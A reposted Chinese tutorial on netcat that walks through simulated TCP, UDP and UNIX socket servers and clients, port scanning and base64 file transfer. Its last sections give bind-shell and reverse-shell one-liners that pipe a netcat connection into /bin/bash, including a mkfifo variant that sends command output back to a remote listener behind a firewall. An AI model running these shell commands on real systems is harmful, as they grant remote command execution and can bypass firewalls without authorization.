簡(jiǎn)介
轉(zhuǎn)載注明出處绝骚,原文在此 https://segmentfault.com/a/1190000016626298
netcat 是一款調(diào)試 TCP/UDP 網(wǎng)絡(luò)連接的利器,常被稱(chēng)作網(wǎng)絡(luò)調(diào)試的瑞士軍刀籍胯,可見(jiàn)其功能強(qiáng)大。
netcat 在 Linux, Windows 等各大操作系統(tǒng)上都有對(duì)應(yīng)等發(fā)行版,以下以 Linux(Ubuntu 16.04) 為例介紹其幾個(gè)強(qiáng)大的用法点晴。
netcat 在 Linux 中一般通過(guò)命令 nc 調(diào)用霍掺。我們先來(lái)看下它的幫助文檔
# nc -h
OpenBSD netcat (Debian patchlevel 1.105-7ubuntu1)
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
[-P proxy_username] [-p source_port] [-q seconds] [-s source]
[-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
[-x proxy_address[:port]] [destination] [port]
Command Summary:
-4 Use IPv4
-6 Use IPv6
-b Allow broadcast
-C Send CRLF as line-ending
-D Enable the debug socket option
-d Detach from stdin
-h This help text
-I length TCP receive buffer length
-i secs Delay interval for lines sent, ports scanned
-j Use jumbo frame
-k Keep inbound sockets open for multiple connects
-l Listen mode, for inbound connects
-n Suppress name/port resolutions
-O length TCP send buffer length
-P proxyuser Username for proxy authentication
-p port Specify local port for remote connects
-q secs quit after EOF on stdin and delay of secs
-r Randomize remote ports
-S Enable the TCP MD5 signature option
-s addr Local source address
-T toskeyword Set IP Type of Service
-t Answer TELNET negotiation
-U Use UNIX domain socket
-u UDP mode
-V rtable Specify alternate routing table
-v Verbose
-w secs Timeout for connects and final net reads
-X proto Proxy protocol: "4", "5" (SOCKS) or "connect"
-x addr[:port] Specify proxy address and port
-Z DCCP mode
-z Zero-I/O mode [used for scanning]
Port numbers can be individual or ranges: lo-hi [inclusive]
可以看到我們使用的是 netcat-openbsd
這個(gè)發(fā)行版的 netcat, 除此之外匾荆,還有 netcat-traditional
等發(fā)行版拌蜘。不同發(fā)行版的基本功能相同,只是有細(xì)微的差別牙丽。
簡(jiǎn)單來(lái)說(shuō)简卧, nc 有以下功能:
- 模擬 TCP 服務(wù)端
- 模擬 TCP 客戶(hù)端
- 模擬 UDP 服務(wù)端
- 模擬 UDP 客戶(hù)端
- 模擬 UNIX socket 服務(wù)端
- 模擬 UNIX socket 客戶(hù)端
- 端口掃描
- 傳輸文件
- 將服務(wù)器 bash 暴露給遠(yuǎn)程客戶(hù)端
- 內(nèi)網(wǎng)穿透,反向獲取防火墻后的機(jī)器的 bash
以下分別舉例說(shuō)明烤芦。
實(shí)例
環(huán)境設(shè)定
假設(shè)
- 服務(wù)器 A 有外網(wǎng) IP 202.118.69.40
- 服務(wù)器 B 沒(méi)有外網(wǎng) IP
- 客戶(hù)端 C 有外網(wǎng) IP 202.119.70.41
三臺(tái)主機(jī)上均為 Ubuntu 16.04 操作系統(tǒng)举娩。
TODO 網(wǎng)絡(luò)拓?fù)鋱D
1 模擬 TCP 服務(wù)端
nc -lk 9090
在服務(wù)器 A 執(zhí)行以上命令,將會(huì)把 nc 綁定到 9090 端口构罗,并開(kāi)始監(jiān)聽(tīng)請(qǐng)求铜涉。
-l
代表 netcat 將以監(jiān)聽(tīng)模式運(yùn)行;
-k
表示 nc 在接收完一個(gè)請(qǐng)求后不會(huì)立即退出遂唧,而是會(huì)繼續(xù)監(jiān)聽(tīng)其他請(qǐng)求芙代。
這時(shí)就可以請(qǐng)求該接口了, nc 會(huì)把請(qǐng)求報(bào)文輸出到標(biāo)準(zhǔn)輸出盖彭。
例如在客戶(hù)端 C 執(zhí)行 curl 202.118.69.40
nc 將會(huì)將 HTTP 請(qǐng)求的報(bào)文輸出到標(biāo)準(zhǔn)輸出
GET / HTTP/1.1
Host: 192.168.0.71:9090
User-Agent: curl/7.54.0
Accept: */*
2 模擬 TCP 客戶(hù)端
printf "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80
在客戶(hù)端 C 執(zhí)行上述代碼,
C 的輸出如下
Connection to example.com port 80 [tcp/http] succeeded!
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Tue, 09 Oct 2018 07:08:38 GMT
Etag: "1541025663+gzip"
Expires: Tue, 16 Oct 2018 07:08:38 GMT
Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT
Server: ECS (sjc/4E52)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1270
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style type="text/css">
...
</head>
<body>
<div>
<h1>Example Domain</h1>
<p>This domain is established to be used for illustrative examples in documents. You may use this
domain in examples without prior coordination or asking for permission.</p>
<p><a >More information...</a></p>
</div>
</body>
</html>
證明客戶(hù)端模擬成功纹烹,給 example.com 發(fā)送了 HTTP Method 為 GET 的 HTTP 請(qǐng)求。
3 模擬 UDP 服務(wù)端
在 A 執(zhí)行
nc -lk -u 9090
4 模擬 UDP 客戶(hù)端
在 C 執(zhí)行
nc -u 202.118.69.40 9090
此時(shí)在客戶(hù)端終端中輸入任意字符召边,將在 A 的終端中輸出同樣的字符铺呵,證明 UDP 服務(wù)端和客戶(hù)端模擬成功。
5 模擬 UNIX socket 服務(wù)端
在 A 執(zhí)行
nc -Ul /tmp/mync.sock
6 模擬 UNIX socket 客戶(hù)端
在 A 執(zhí)行(UNIX 默認(rèn)不能跨服務(wù)器)
nc -U /tmp/mync.sock
此時(shí)在該終端中輸入任意字符隧熙,將在第5步的終端中輸出同樣的字符片挂,證明 Unix socket 服務(wù)端和客戶(hù)端模擬成功。
7 端口掃描
nc -vz 202.118.69.40 1-81 2>&1|grep succeed
-z
指 Zero-I/O mode贱鼻,即連接的過(guò)程中禁用輸入輸出宴卖,僅用與端口掃描。
2>&1|grep succeed
默認(rèn)情況下掃描過(guò)程中邻悬,不論成功與失敗症昏,掃描結(jié)果都被輸出到了“標(biāo)準(zhǔn)錯(cuò)誤輸出”,該命令用來(lái)過(guò)濾父丰,僅顯示出打開(kāi)到端口肝谭。
上述指令輸出結(jié)果如下:
Connection to 202.118.69.40 22 port [tcp/ssh] succeeded!
Connection to 202.118.69.40 53 port [tcp/domain] succeeded!
Connection to 202.118.69.40 80 port [tcp/http] succeeded!
8 傳輸文件
8.1 向服務(wù)器上傳圖片
服務(wù)器 A 監(jiān)聽(tīng) 9090 端口
nc -l 9090 | base64 -d > WechatIMG88.jpeg
客戶(hù)端上傳圖片
base64 WechatIMG88.jpeg | nc 202.118.69.40 9090
注:因?yàn)樾枰獋鬏攬D片,所以先 base64 編碼蛾扇,然后下載完再解碼避免終端錯(cuò)亂攘烛。
8.2 從服務(wù)器下載圖片
服務(wù)器 A 監(jiān)聽(tīng) 9090 端口,并將要下載的圖片輸出到 nc
base64 WechatIMG88.jpeg | nc -l 9090
客戶(hù)端下載
nc -t 202.118.69.40 9090|base64 -D > w.jpeg
9 將服務(wù)器 bash 暴露給遠(yuǎn)程客戶(hù)端
與 7 類(lèi)似镀首,只不過(guò)服務(wù)端將接收到到內(nèi)容管道給 /bin/bash
然后在客戶(hù)端輸入要敲的命令
nc -l 9090 | /bin/bash
10 內(nèi)網(wǎng)穿透坟漱,反向獲取防火墻后的機(jī)器的 bash
與 8 類(lèi)似,只不過(guò)服務(wù)器 B 將內(nèi)容管道給 /bin/bash
在客戶(hù)端 A 打開(kāi)監(jiān)聽(tīng)
nc -l 9090
在服務(wù)器 C 上執(zhí)行以下代碼反向接受命令
nc -t 202.119.70.41 9090 | /bin/bash
然后在客戶(hù)端 A 輸入要執(zhí)行的命令即可更哄。
需要注意的是芋齿,使用上述命令遠(yuǎn)程執(zhí)行命令時(shí)在客戶(hù)端無(wú)法看到命令的返回結(jié)果腥寇。
通過(guò)創(chuàng)建命名管道的方式,可將 bash 執(zhí)行的結(jié)果回傳給 netcat,
具體命令如下(在服務(wù)器 C 執(zhí)行代碼):
mkfifo ncpipe
nc -t 202.119.70.41 9090 0<ncpipe| /bin/bash 1>ncpipe